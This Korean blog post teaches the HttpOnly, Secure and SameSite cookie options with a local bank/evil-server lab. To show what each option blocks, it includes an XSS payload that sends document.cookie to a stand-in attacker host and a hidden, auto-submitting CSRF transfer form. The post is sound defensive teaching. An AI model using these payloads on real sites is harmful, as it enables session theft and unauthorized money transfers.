본문 바로가기

Computer Science/Network

[Network] Cookie 옵션 (HttpOnly, Secure, SameSite) - 실습으로 이해하기

개요

이전 포스트에서 Cookie 에 sessionId 를 담아 사용자를 식별하는 흐름을 살펴보았다.

하지만 Cookie 자체가 안전하게 다뤄지지 않으면, sessionId 를 아무리 잘 만들어도 의미가 없을 것이다.


Cookie 에는 어떤 경로로 접근할 수 있는지, 어떤 상황에서 전송되는지를 제한하는 옵션들이 있다.

간단한 실습 프로젝트를 활용하여 HttpOnly, Secure, SameSite 세 가지 옵션이
왜 필요하고, 실제로 어떻게 동작하는지 하나씩 확인해보고자 한다.

실습 환경

두 개의 서버를 사용한다.

역할 주소 설명
bank.com https://localhost:3100 로그인, 송금, 게시판 기능이 있는 정상 서비스
evil.com http://localhost:3101 탈취한 Cookie 로 공격을 수행하는 악성 서버

bank.com 에서 로그인하면 Cookie 에 sessionId 가 발급된다.
이 Cookie 의 옵션을 하나씩 변경해가며, 각 옵션이 어떤 보안 위협을 막아주는지 확인할 것이다.


이 글의 실습은 Set-Cookie 값을 아래 순서대로 교체해가며 진행한다.

실습 Set-Cookie 실습 포인트
0 sessionId=${sid}; Path=/ 기본 동작 확인
1 sessionId=${sid}; Path=/; HttpOnly XSS: 쿠키 탈취 차단
2 sessionId=${sid}; Path=/; Secure HTTPS 에서만 전송
3 sessionId=${sid}; Path=/; Secure; SameSite=None CSRF: 크로스사이트 전송 허용
4 sessionId=${sid}; Path=/; SameSite=Lax CSRF: 일부 차단 (POST)
5 sessionId=${sid}; Path=/; SameSite=Strict CSRF: 크로스사이트 차단

Cookie 의 기본 동작

옵션을 살펴보기 전에, 가장 기본적인 Cookie 설정부터 확인해보자.

res.setHeader("Set-Cookie", `sessionId=${sid}; Path=/`);

Path 란?

Path=/ 는 Cookie 가 전송되는 URL 범위를 지정한다.
Path=/ 로 설정하면, 해당 도메인의 모든 경로에 대해 Cookie 가 전송된다.


만약 Path=/admin 으로 설정했다면,
/admin 이하의 경로에서만 Cookie 가 포함되고/login 이나 / 같은 경로에서는 포함되지 않는다.


일반적으로 sessionId 는 서비스 전체에서 사용되므로 Path=/ 로 설정한다.

[실습 0-a] Cookie 없이 송금 불가

bank.com 에서 로그인하지 않은 상태로 송금을 시도해보자.

transfer-login-required

sessionId Cookie 가 없기 때문에 Server 는 요청을 거부한다. Cookie 가 사용자 인증의 핵심 수단이라는 것을 확인할 수 있다.

[실습 0-b] 정상 송금

로그인 후 송금을 하면 정상적으로 처리된다.

transfer-success

로그인 시 발급된 sessionId Cookie 가 요청에 자동으로 포함되어, Server 가 사용자를 식별할 수 있기 때문이다.

기본 Cookie 의 문제

개발자 도구에서 발급된 Cookie 를 확인해보면,
HttpOnly, Secure 가 체크되어 있지 않고, SameSite 도 비어 있다.

devtools-cookie

이 상태에서는 어떤 보안 위협이 있을까?

Step 1. HttpOnly - JavaScript 접근 차단

옵션 없이 발급된 Cookie 의 위험

현재 Cookie 에는 아무 옵션도 없다.
bank.com 에 로그인한 상태에서, 개발자 도구의 Console 에 다음을 입력해보자.

document.cookie

console-cookie

sessionId 값이 그대로 출력된다.


document.cookiesessionId 를 읽을 수 있다는 것은,
만약 bank.com 페이지에서 악성 스크립트가 실행된다면 Cookie 가 탈취될 수 있음을 의미한다.



이러한 공격을 XSS(Cross-Site Scripting) 라고 한다.

[실습 1] XSS 를 통한 Cookie 탈취

bank.com 에는 게시판 기능이 있다.
사용자가 입력한 내용을 Server 가 sanitize 없이 HTML 에 그대로 렌더링하기 때문에, XSS 에 취약하다.


공격자(attacker)가 게시판에 다음과 같은 내용을 등록한다고 가정하자.

<script>new Image().src="http://localhost:3101/steal?cookie="+document.cookie</script>

이 게시글은 bank.com 의 게시판에 저장된다.


이후 다른 사용자(user1)가 게시판을 열람하면,
user1 의 Browser 에서 위 스크립트가 실행되어 user1 의 sessionId 가 evil.com 서버로 전송된다.

그렇게 되면 evil.com 서버에서는 탈취한 sessionId 를 사용하여 bank.com 에 user1 인 것처럼 송금 요청을 보낼 수 있게 된다.



evil.com 에는 탈취한 세션으로 송금을 실행하는 폼이 있기 때문이다.

<form id="attack-form">
  <input name="sessionId" placeholder="sessionId" required />
  <input name="to" value="attacker" placeholder="받는 사람" />
  <input name="amount" value="1000000" type="number" placeholder="금액" />
  <button type="submit">송금 실행</button>
</form>

httponly-xss

evil.com 서버의 로그를 보면 과정이 드러난다.

[steal] sessionId=mddpob3f0c
[steal] sessionId=ah1tctqyog
[attack] sid=ah1tctqy... -> attacker 1000000원 (200)

첫 번째 sessionId 는 attacker 본인이 게시판에 접속할 때 함께 전송된 것이고, 두 번째 sessionId 가 user1 의 것이다.

evil.com 은 이 두 번째 sessionId 를 사용하여 bank.com 에 user1 → attacker 송금 요청을 보냈고, 성공(200)했다.


물론, XSS 공격이 성공하려면 bank.com 자체에 XSS 취약점(입력값 미처리 등)이 있어야 한다.
XSS 방어의 1차 책임은 입력값 sanitize 에 있고, HttpOnlyXSS 가 발생하더라도, Cookie 만큼은 탈취되지 않도록 하는 2차 방어선이라고 할 수 있다.

HttpOnly 적용

이제 Set-CookieHttpOnly 를 추가해본다.

res.setHeader("Set-Cookie", `sessionId=${sid}; Path=/; HttpOnly`);

개발자 도구에서 Cookie 를 확인해보자.

devtools-httponly

HttpOnly 에 체크가 되어 있다.

이제 Console 에서 다시 document.cookie 를 입력해보자.

document.cookie

console-cookie-blank

빈 문자열이 반환된다. JavaScript 에서 Cookie 에 접근할 수 없게 된 것이다.

Browser 는 여전히 요청 시 Cookie 를 자동으로 포함하지만, 스크립트를 통한 탈취 경로는 차단되었다.

남은 위험

HttpOnly 는 JavaScript 접근을 막아주지만, Cookie 가 암호화되지 않은 HTTP 로 전송되는 것까지는 막지 못한다.

만약 HTTP 연결에서 Cookie 가 전송된다면, 네트워크를 감청하는 공격자가 Cookie 값을 그대로 가로챌 수 있다.

Step 2. Secure - HTTPS 전용 전송

res.setHeader("Set-Cookie", `sessionId=${sid}; Path=/; Secure`);

Secure 는 Cookie 값을 암호화하는 옵션이 아니다.
대신 Cookie 를 HTTPS 요청에서만 보내도록 Browser 에게 알려주는 설정이라고 할 수 있다.


Server 가 Set-Cookie 로 이 설정을 내려주면, Browser 는 요청을 보낼 때마다
주소가 http 인지 https 인지 보고 Cookie 포함 여부를 자동으로 판단한다.

그래서 같은 사용자, 같은 경로 요청이라도 전송 결과가 달라진다.

GET /mypage HTTP/1.1
Host: localhost:3100
Cookie: sessionId=abc123

HTTPS 요청일 때만 위처럼 Cookie 가 포함되고,

GET /mypage HTTP/1.1
Host: localhost:3100

HTTP 요청에서는 Cookie 헤더가 빠지게 된다.


즉, 암호화되지 않은 HTTP 구간에서는 sessionId 가 그대로 드러나는 상황을 줄일 수 있다.

개발자 도구에서 확인해보자.

[실습 2] Secure 동작 확인

HTTPS 로 요청했을 때는 Cookie 가 포함되고, HTTP 로 요청했을 때는 Cookie 가 빠지는지 확인해보자.

devtools-secure

HttpOnlySecure 에 모두 체크가 되어 있다.
즉, JavaScript 로 읽히는 경로(HttpOnly)와 HTTP 로 흘러가는 경로(Secure)를 함께 줄일 수 있다.

남은 위험

그런데 HttpOnlySecure 를 모두 설정했는데도, 막지 못하는 공격이 있다.
이를 이해하려면 Browser 가 Cookie 를 어떻게 저장하고 전송하는지를 먼저 알아야 한다.

Cookie 는 도메인 단위로 저장된다

Browser 의 Cookie 저장소는 탭 단위가 아니라, 도메인 단위로 관리된다.

cookie-domain

위 이미지에서 naver.com, search.naver.com, shopsquare.naver.com 등 각 도메인별로 Cookie 가 분류되어 저장되어 있음을 확인할 수 있다.

여기서 중요한 점은, Cookie 가 포함되는 기준이
"어떤 페이지에서 요청을 보냈는가"가 아니라 "요청의 목적지가 어디인가" 라는 것이다.


사용자가 evil.com 에 있든, news.com 에 있든,
요청의 목적지가 bank.com 이기만 하면 Browser 는 bank.com 의 Cookie 를 자동으로 포함하게 된다.


이 동작이 어떻게 악용될 수 있는지 살펴보자.

Step 3. SameSite - Cross-Site 요청 제어

CSRF 공격이란

bank.com 에는 다음과 같은 정상적인 송금 페이지가 있다.

<!-- bank.com 의 송금 페이지 -->
<form method="POST" action="/transfer">
  <input name="to" placeholder="받는 사람" required />
  <input name="amount" type="number" placeholder="금액" required />
  <button type="submit">송금</button>
</form>

사용자가 이 페이지에서 송금 버튼을 누르면, Browser 는 bank.com 의 Cookie 를 포함하여 요청을 보내고,
Server 는 sessionId 를 확인하여 정상적으로 처리한다. 여기까지는 의도된 동작이다.


이제 evil.com 의 페이지를 보자.

<!-- evil.com 의 페이지 -->
<div class="banner">축하합니다!<br />경품에 당첨되었습니다!</div>

<form id="csrf-form" method="POST" action="https://bank.com/transfer" style="display:none">
  <input type="hidden" name="to" value="attacker" />
  <input type="hidden" name="amount" value="1000000" />
</form>
<script>
  setTimeout(() => document.getElementById("csrf-form").submit(), 3000);
</script>

겉보기에는 경품 당첨 페이지지만, 숨겨진 <form> 이 3초 후 자동으로 bank.com 의 /transfer 로 POST 요청을 보낸다.


여기서 한 가지 의문이 들었다.

evil.combank.com 의 Cookie 에 접근할 수 있는 건가?


그건 아니었다.

evil.com 의 JavaScript 에서 document.cookie 를 읽으면 evil.com 의 Cookie 만 보인다.
evil.combank.com 의 Cookie 를 읽거나 접근하는 것은 불가능하다. (Same-Origin Policy)


하지만 evil.com 은 Cookie 에 접근할 필요가 없다.
evil.com 은 단지 bank.com목적지로 하는 요청을 만들어냈을 뿐이다.
앞서 설명했듯이, 요청의 목적지가 bank.com 이면 Browser 가 bank.com 의 Cookie 를 자동으로 포함한다.

POST /transfer HTTP/1.1
Host: bank.com
Cookie: sessionId=abc123xyz   // evil.com 이 아닌, Browser 가 자동으로 포함

bank.com Server 입장에서는 유효한 sessionId 가 포함된 요청이므로, 정상 요청과 구별할 수 없다.

이것이 CSRF(Cross-Site Request Forgery) 공격이다.

evil.com 은 Cookie 에 접근한 적이 없다. Cookie 의 값도 모른다.
다만 bank.com 으로 향하는 요청을 유발했고, Browser 가 그 요청에 Cookie 를 포함시킨 것이다.

[실습 3] SameSite=None 일 때 - CSRF 공격 성공

CSRF 공격이 성공하는 것을 눈으로 확인해보자.

원래는 아래처럼 SameSite=None 만 넣고 실험하려고 했다.

res.setHeader("Set-Cookie", `sessionId=${sid}; Path=/; SameSite=None`);

그런데 이 상태로는 로그인이 되지 않았다.

Browser 가 Cookie 를 저장하지 않았기 때문이다.


확인해보니 현재 Browser 정책에서는 SameSite=None 을 사용할 때 Secure 가 함께 있어야 한다고 한다.
즉, SameSite=None 단독 설정은 무시된다.


그래서 실험은 다음 설정으로 진행했다.

res.setHeader("Set-Cookie", `sessionId=${sid}; Path=/; Secure; SameSite=None`);

devtools-secure-samesite-none

SameSite=None 은 Cross-Site 요청에도 Cookie 를 포함하겠다는 의미이다.

현재 대부분의 Browser 는 SameSite 를 생략하면 Lax 로 기본 적용하기 때문에,
CSRF 를 시연하려면 명시적으로 None 을 설정해야 한다.

다음 순서로 진행한다.

  1. bank.com 에서 로그인
  2. 새 탭에서 evil.com 접속
  3. 3초 후 자동으로 bank.com 에 송금 요청이 발생

csrf

사용자는 evil.com 에 접속했을 뿐인데, bank.com 에서 송금이 완료되었다.

bank.com 서버의 터미널 로그를 통해 요청의 출처를 확인할 수 있다.

[transfer] user1->attacker 1000000 origin=http://localhost:3101 referer=http://localhost:3101/

OriginRefererhttp://localhost:3101 (evil.com)으로 표시된다.
요청이 bank.com 자체가 아닌 다른 사이트에서 발생했음을 알 수 있다.

[실습 4] SameSite=Lax 일 때 - CSRF 방어

이번에는 SameSite=Lax 로 변경해보자.

res.setHeader("Set-Cookie", `sessionId=${sid}; Path=/; SameSite=Lax`);

devtools-samesite-lax

서버를 재시작하고 같은 순서로 진행한다.

  1. bank.com 에서 로그인
  2. evil.com 접속
  3. 3초 후 자동 송금 요청 발생

csrf-failed

이번에는 송금이 실행되지 않는다.
SameSite=Lax 가 설정되어 있기 때문에, evil.com 에서 발생한 POST 요청에 Cookie 가 포함되지 않았고,
bank.com Server 는 인증되지 않은 요청으로 판단하여 거부한 것이다.

Lax 는 왜 POST 만 차단하는가?

SameSite=Lax 는 모든 Cross-Site 요청을 차단하는 것이 아니다.

요청 유형 예시 Cookie 포함
최상위 탐색 (GET) 링크 클릭, 주소창 입력 포함
하위 요청 (POST, iframe 등) form 제출, 숨겨진 요청 미포함

링크를 클릭하면(GET) 사용자는 직접 해당 사이트로 이동하게 된다.
화면이 bank.com 으로 전환되므로, 사용자가 자신이 어디에 있는지 인지할 수 있다.

이 경우 Cookie 를 포함해도 보안 위험이 낮다.


반면 POST 요청은 상태를 변경하는 동작(송금, 설정 변경, 삭제 등)에 사용된다.
CSRF 공격이 실제로 피해를 주는 것도 바로 이런 POST 요청을 통해서이다.


사용자가 인지하지 못한 채 상태가 변경될 수 있기 때문에, Cookie 를 포함하지 않는 것이다.



정리하면, Lax
"사용자가 직접 이동하는 탐색에는 Cookie 를 허용하되, 백그라운드에서 발생하는 위험한 요청에는 차단한다"
는 기준을 적용한다고 할 수 있다.


대부분의 Browser 가 SameSite 의 기본값으로 Lax 를 채택하고 있다.

[실습 5] Lax vs Strict

SameSite=StrictLax 보다 더 엄격하다.
다른 사이트에서 발생한 요청에는 GET 이든 POST 든 Cookie 를 전혀 포함하지 않는다.


이 차이를 직접 확인해보자.

evil.com 페이지 하단에 bank.com 으로의 링크가 있다.

<a href="https://localhost:3100">bank.com 바로가기</a>

SameSite=Lax 일 때:

  1. bank.com 에 로그인
  2. evil.com 에서 "bank.com 바로가기" 링크 클릭
  3. bank.com 으로 이동 → 로그인 상태 유지됨

samesite-lax-get

SameSite=Strict 일 때:

res.setHeader("Set-Cookie", `sessionId=${sid}; Path=/; HttpOnly; Secure; SameSite=Strict`);

devtools-samesite-strict

  1. bank.com 에 로그인
  2. evil.com 에서 "bank.com 바로가기" 링크 클릭
  3. bank.com 으로 이동 → 로그인이 풀려 있음

samesite-strict-get

이렇게 로그인이 풀리는 이유는 Strict 가 다른 사이트에서의 GET 요청에도 Cookie 를 포함하지 않기 때문이다.


보안은 가장 강력하지만, 메일이나 메신저에서 bank.com 링크를 클릭할 때마다 로그인 페이지를 보게 되는 불편함이 발생할 수 있고,
그렇기 때문에 브라우저에서 SameSite=Lax 를 기본값으로 사용한다고 이해했다.

정리

세 옵션은 서로 독립적이면서 보완적이다.
각각 다른 보안 위협에 대응하는 방식으로, 다 함께 설정해야 비로소 Cookie 의 보안이 갖춰진다.

옵션 상황 역할
HttpOnly XSS (스크립트를 통한 탈취) JavaScript 에서 Cookie 접근 차단
Secure 네트워크 감청 (평문 전송) HTTPS 에서만 Cookie 전송
SameSite CSRF (다른 사이트에서의 요청) Cross-Site 요청 시 Cookie 포함 여부 제어
Set-Cookie: sessionId=abc123xyz; Path=/; HttpOnly; Secure; SameSite=Lax

devtools-all


관련 포스팅

728x90

'Computer Science > Network' 카테고리의 다른 글

[Network] Cookie 와 Session  (0) 2026.02.23